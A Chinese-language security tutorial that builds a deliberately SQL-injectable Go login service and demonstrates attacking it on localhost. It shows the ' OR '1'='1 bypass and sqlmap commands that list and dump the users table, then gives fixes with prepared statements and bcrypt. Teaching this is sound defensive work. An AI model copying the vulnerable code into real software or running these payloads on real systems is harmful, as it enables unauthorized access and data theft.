A03-1: SQL 注入漏洞(Injection)
SQL 注入(SQLi)是一種常見的網路攻擊,攻擊者利用應用程式未經驗證的 SQL 查詢來執行惡意 SQL 語句,可能導致資料庫洩漏、資料刪除,甚至取得完整管理權限。
有 SQL 注入漏洞的服務
我們來建立一個 Go 語言的 Web 服務,這個服務有一個 SQL 注入漏洞。
這個程式包含:
- 使用 SQLite 做為資料庫
- 存在 SQL 注入漏洞,因為它直接拼接
userInput到 SQL 查詢中
❌ 有漏洞的程式
package main
import (
"database/sql"
"fmt"
"log"
"net/http"
_ "github.com/mattn/go-sqlite3"
)
func main() {
db, err := sql.Open("sqlite3", "./test.db")
if err != nil {
log.Fatal(err)
}
defer db.Close()
// 建立 users 資料表
createTable := `CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL
);`
_, err = db.Exec(createTable)
if err != nil {
log.Fatal(err)
}
// 插入測試帳號
db.Exec("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
db.Exec("INSERT INTO users (username, password) VALUES ('user', 'password')")
// 登入系統
http.HandleFunc("/login", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
username := r.FormValue("username")
password := r.FormValue("password")
// ❌ **漏洞:直接拼接 SQL 語句,導致 SQL 注入!**
query := fmt.Sprintf("SELECT username FROM users WHERE username='%s' AND password='%s'", username, password)
fmt.Println("執行查詢:", query) // 觀察 SQL 語句
row := db.QueryRow(query)
var foundUsername string
err := row.Scan(&foundUsername)
if err == sql.ErrNoRows {
fmt.Fprintf(w, "登入失敗")
} else {
fmt.Fprintf(w, "登入成功,歡迎 %s!", foundUsername)
}
})
fmt.Println("伺服器啟動於 http://localhost:8080")
http.ListenAndServe(":8080", nil)
}
❌ 漏洞分析
- 這裡的 SQL 查詢:
SELECT * FROM users WHERE username='使用者輸入' AND password='使用者輸入' - 這樣的寫法使得攻擊者可以透過
' OR '1'='1這類輸入來繞過身份驗證:這會讓 SQL 變成:username: ' OR '1'='1
password: 任意內容因為SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意內容''1'='1'永遠為真,攻擊者就能成功登入!
使用 SQLMAP 檢測 SQL 注入
SQLMAP 是一個強大的開源工具,可以自動偵測和利用 SQLi 漏洞。
🔍 SQLMAP 測試漏洞
- 我們首先利用 WSL 當作我們的測試環境。
wsl -d Ubuntu
- 透過 git 來安裝 sqlmap,apt-get 的版本太舊了。
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev/
python3 sqlmap.py -h
python3 sqlmap.py -hh
- SQLite3 需要 CGO,透果指令來開啟他。
go env -w CGO_ENABLED=1
- 啟動 Go 服務。
go run main.go
- 使用 SQLMAP 掃描,SQLMAP 會嘗試不同的 SQL 注入攻擊來測試漏洞,如果成功,你會看到漏洞,甚至可以把表格讀出來。
sqlmap -u "http://localhost:8080/login" --data "username=admin&password=1234" --batch --tables
[*] starting @ 02:13:05 /2025-02-13/
[02:13:06] [INFO] resuming back-end DBMS 'sqlite'
[02:13:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=admin&password=1234' UNION ALL SELECT CONCAT(CONCAT('qkzkq','gEgaYmSFQvVuvcghJHRNIKmxeBVAWmRRoDfLBYBE'),'qjvkq')-- TUfO
---
[02:13:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[02:13:06] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[2 tables]
+-----------------+
| sqlite_sequence |
| users |
+-----------------+
[02:13:06] [INFO] fetched data logged to text files under '/home/calvin/.local/share/sqlmap/output/localhost'
[*] ending @ 02:13:06 /2025-02-13/
- 有了表格就可以指定表格取得 cloumn。
python3 sqlmap.py -u "http://localhost:8080/login" --data "username=admin&password=1234" --batch -T users --columns
---
[02:15:56] [INFO] fetching columns for table 'users'
Database: <current>
Table: users
[3 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| id | INTEGER |
| password | TEXT |
| username | TEXT |
+----------+---------+
- 同時也能把整個 table 全部都撈取出來,非常可怕。
python3 sqlmap.py -u "http://localhost:8080/login" --data "username=admin&password=1234" --batch -T users --dump
---
[02:18:51] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[14 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | admin123 | admin |
| 2 | password | user |
| 3 | admin123 | admin |
| 4 | password | user |
| 5 | admin123 | admin |
| 6 | password | user |
| 7 | admin123 | admin |
| 8 | password | user |
| 9 | admin123 | admin |
| 10 | password | user |
| 11 | admin123 | admin |
| 12 | password | user |
| 13 | admin123 | admin |
| 14 | password | user |
+----+----------+----------+
這表示 SQL 注入成功!攻擊者可以繞過登入驗證! 💀
修補方式
✅ 方法 1:使用參數化查詢(Prepared Statement)
- ❌ 錯誤:
query := fmt.Sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", username, password) - ✅ 正確: 使用
?來安全地傳入參數
stmt, err := db.Prepare("SELECT * FROM users WHERE username=? AND password=?")
if err != nil {
http.Error(w, "伺服器錯誤", http.StatusInternalServerError)
return
}
row := stmt.QueryRow(username, password)
✅ 方法 2:密碼應該加密儲存
目前的程式直接存明文密碼,應該用 bcrypt 來加密密碼:
import "golang.org/x/crypto/bcrypt"
// 加密密碼
func hashPassword(password string) (string, error) {
hashed, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
return string(hashed), err
}
// 驗證密碼
func checkPassword(hashedPassword, password string) error {
return bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password))
}